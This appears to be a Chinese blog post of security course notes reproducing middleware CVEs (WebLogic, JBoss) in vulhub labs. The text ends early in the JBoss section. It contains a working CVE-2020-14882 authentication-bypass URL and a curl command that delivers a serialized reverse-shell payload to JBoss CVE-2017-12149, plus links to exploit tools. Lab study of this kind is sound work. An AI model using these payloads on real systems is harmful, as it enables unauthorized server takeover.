第60天-服务攻防-中间件安全&CVE 复现&Weblogic&&Jboss&Jenkins&GlassFish
文章仅供学习交流,一些漏洞没能复现出来(菜就多练),日后来兴趣再补坑(大概~)
视频链接:
【小迪安全】红蓝对抗 | 网络攻防 | V2022全栈培训_哔哩哔哩_bilibilihttps://www.bilibili.com/video/BV1pQ4y1s7kH
目录
一、知识点
1、中间件-Weblogic-CVE
2、中间件-JBoos-CVE
3、中间件-Jenkins-CVE
4、中间件-GlassFish-CVE
二、章节内容
1、常见中间件的安全测试
2、中间件安全测试流程
3、应用服务安全测试流程
三、案例演示
1、中间件-Weblogic-CVE&反序列化&远程执行
(1) CVE-2017-3506 远程代码执行漏洞
(2)CVE-2018-2893 反序列化漏洞
(3)CVE-2018-3245 远程代码执行漏洞
(4)CVE-2020-14882 未授权命令执行漏洞
(5)CVE-2021-2394 反序列化漏洞 (复现失败)
2、中间件-JBoos-CVE&弱口令
(1)CVE-2017-12149 反序列化远程代码执行漏洞
(2)CVE-2017-7504 反序列化命令执行漏洞
(3)弱口令 未授权访问
3、中间件-Jenkins-CVE
(1)CVE-2017-1000353 远程代码执行漏洞
(2)CVE-2018-1000861 远程命令执行漏洞 (未完成)
(3)CVE-2019-100300 远程代码执行漏洞(条件苛刻)
4、中间件-GlassFish-CVE
(1)CVE-2017-1000028 任意文件读取漏洞
(2)简单口令&Getshell (getshell失败)
四、总结
相关工具下载
链接:https://pan.baidu.com/s/1BcDQ1c1kt4M0JChMQLoH1Q
提取码:idoa
一、知识点
中间件及框架列表: IIS , Apache , Nginx , Tomcat , Docker , Weblogic , JBoos , WebSphere , Jenkins , GlassFish , Jira , Struts2 , Laravel , Solr , Shiro , Thinkphp , Spring , Flask , jQuery 等本节课程涉及以下中间件案例演示:
1、中间件-Weblogic-CVE
2、中间件-JBoos-CVE
3、中间件-Jenkins-CVE
4、中间件-GlassFish-CVE
二、章节内容
1、常见中间件的安全测试
(1)配置不当-解析&弱口令
(2)安全机制-特定安全漏洞
(3)安全机制-弱口令爆破攻击
(4)安全应用-框架特定安全漏洞
2、中间件安全测试流程
(1)判断中间件信息-名称&版本&三方
(2)判断中间件问题-配置不当&公开漏洞
(3)判断中间件利用-弱口令&EXP&框架漏洞
3、应用服务安全测试流程
(1)判断服务开放情况-端口扫描&组合应用等
(2)判断服务类型归属-数据库&文件传输&通讯等
(3)判断服务利用方式-特定漏洞&未授权&弱口令等
三、案例演示
1、中间件-Weblogic-CVE&反序列化&远程执行
简介:Weblogic 是 Oracle 公司推出的一个基于JAVAEE架构的中间件,能为JAVA程序提供开发、集成、部署和管理等功能。
注:由于下面的几个漏洞大部分可直接用集成工具一键探测并利用,因此下面只介绍漏洞详情,就不复现了,下载链接如下:
WeblogicTool-GUI漏洞利用工具,支持漏洞检测、命令执行、内存马注入、密码解密等
此工具需要在java8环境下运行,检查java版本
java -version
版本一致后,解压下载工具的压缩包,在此目录打开cmd,输入命令即可打开GUI界面(若不慎关掉cmd界面会退出程序)
java -jar WeblogicTool_1.3.jar
详细使用教程在下载链接中有,可自行研究
(1) CVE-2017-3506 远程代码执行漏洞
简介:
Weblogic的WLS Security组件对外提供webservice服务 ,里面的XMLDecoder是用来解析用户传入的数据,解析的过程中,由于其中的WorkContextXmlInputAdapter类没有限制传入的数据,会出现反序列化漏洞,导致可执行任意命令,因此可被攻击者构造恶意代码拿到权限。
影响版本:
OracleWebLogic Server10.3.6.0.0
OracleWebLogic Server12.1.3.0.0
OracleWebLogic Server12.2.1.1.0
OracleWebLogic Server12.2.1.2.0
判断方法:
访问以下目录,页面有返回服务信息则说明或许存在漏洞
/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11
(2)CVE-2018-2893 反序列化漏洞
简介:
此漏洞产生于WebLogic T3服务,T3协议在WebLogic Server和客户端间承当传输数据和通信作用,Weblogic开放端口后T3会默认开启,WebLogic服务存在的漏洞允许未经身份验证的攻击者通过T3获得服务器权限。
影响版本:
WebLogic 10.3.6.0
WebLogic 12.1.3.0
WebLogic 12.2.1.2
WebLogic 12.2.1.3
(3)CVE-2018-3245 远程代码执行漏洞
简介:
该漏洞和CVE-2018-2893类似,通过JRMP协议利用RMI机制的缺陷,进行远程代码执行漏洞的利用。攻击者可构造恶意代码并通过T3进行反序列化实现远程代码执行获取系统权限。
影响版本:
Weblogic 10.3.6.0
Weblogic 12.1.3.0
Weblogic 12.2.1.3
判断方法:
CVE-2018-3245-PoC
(4)CVE-2020-14882 未授权命令执行漏洞
简介:
此漏洞可被未经身份验证的攻击者通过构造特殊的GET请求进行攻击,
影响版本:
Oracle Weblogic Server 10.3.6.0.0
Oracle Weblogic Server 12.1.3.0.0
Oracle Weblogic Server 12.2.1.3.0
Oracle Weblogic Server 12.2.1.4.0
Oracle Weblogic Server 14.1.1.0.0
WeblogicTool可以识别存在漏洞,但是利用这块用不了,尝试手工复现下
打开vulhub,进入/weblogic/CVE-2020-14882,启动容器
打开访问界面http://192.168.190.153:7001/console
输入poc,可直接进入后台,说明存在漏洞
http://192.168.190.153:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=AppDeploymentsControlPage&handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29
下载shell脚本,执行命令
About CVE-2020-14882_ALL综合利用工具,支持命令回显检测、批量命令回显、外置xml无回显命令执行等功能
(5)CVE-2021-2394 反序列化漏洞 (复现失败)
简介:
此为WebLogic组件存在高危漏洞,漏洞主要是FilterExtractor的readExternal方法使用不当,使得生成 MethodAttributeAccessor的时候不会受到黑名单的限制。成功利用该漏洞的攻击者可以获取WebLogic Server管理权限。
影响版本:
Oracle WebLogic Server 10.3.6.0.0
Oracle WebLogic Server 12.1.3.0.0
Oracle WebLogic Server 12.2.1.3.0
Oracle WebLogic Server 12.2.1.4.0
Oracle WebLogic Server 14.1.1.0.0
这里用vulhub的CVE-2020-14882的漏洞环境来代替(版本一致)
复现失败,poc运行报错╮(╯▽╰)╭
2、中间件-JBoos-CVE&弱口令
简介:
Jboss 通常占用的端口是 1098,1099,4444,4445,8080,8009,8083,8093 这
几个,Red Hat JBoss Application Server 是一款基于 JavaEE 的开源应用服务器。
(1)CVE-2017-12149 反序列化远程代码执行漏洞
简介:
JBOSS Application Server是一个基于JE22的开放源代码的应用服务器,在这个漏洞中,发现 HTTP Invoker 的 ReadOnlyAccessFilter 中的 doFilter 方法不限制它执行反序列化的类,因此允许攻击者通过构建特殊的的序列化数据执行任意代码,无需用户验证即可获得服务器的控制权。
影响版本:
5.x和6.x版本的JBOSSAS
打开vulhub,进入/jboss/CVE-2017-12149,启动容器,访问url
访问/invoker/readonly,若出现500状态码说明存在漏洞
在kali下载利用利用工具,下载链接-github
按照要求替换Java版本为1.8.0_20,以root在kali运行以下命令,该命令是下载Java压缩包解压并替换本地Java包过程
# cd /opt # curl http://www.joaomatosf.com/rnp/java_files/jdk-8u20-linux-x64.tar.gz -o jdk-8u20-linux-x64.tar.gz # tar zxvf jdk-8u20-linux-x64.tar.gz # rm -rf /usr/bin/java* # ln -s /opt/jdk1.8.0_20/bin/j* /usr/bin # java -version java version "1.8.0_20"
版本替换好后,进入前边git下载的文件目录,编译和执行应用程序
javac VulnerableHTTPServer.java -XDignore.symbol.file java -cp .:commons-collections-3.2.1.jar VulnerableHTTPServer
编译一个ser文件,填写ip和端口信息
//编译 example1,该示例适用于类路径中具有 commons-collections3.2.1 和 JREkali监听4444端口,同时使用curl反弹shell,可以看到反弹成功
curl http://192.168.190.153:8080/invoker/JMXInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser(2)CVE-2017-7504 反序列化命令执行漏洞
简介:
Jboss AS 4.X及之前的版本中的JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在安全漏洞。远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。
影响版本:
JBoss AS
还没有评论,来说两句吧...